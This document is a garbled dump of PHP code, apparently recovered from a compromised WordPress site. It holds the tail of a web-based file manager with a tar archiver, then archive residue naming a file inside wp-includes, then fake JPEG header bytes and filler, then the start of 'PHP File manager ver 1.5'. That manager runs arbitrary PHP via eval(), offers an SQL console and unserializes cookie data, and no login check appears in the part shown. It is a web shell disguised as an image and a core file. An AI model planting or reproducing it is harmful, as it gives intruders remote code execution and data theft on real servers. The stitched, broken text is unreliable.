    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           Renderer/cap.php.tar                                                                                0000644                 00000240000 15217306007 0010350 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
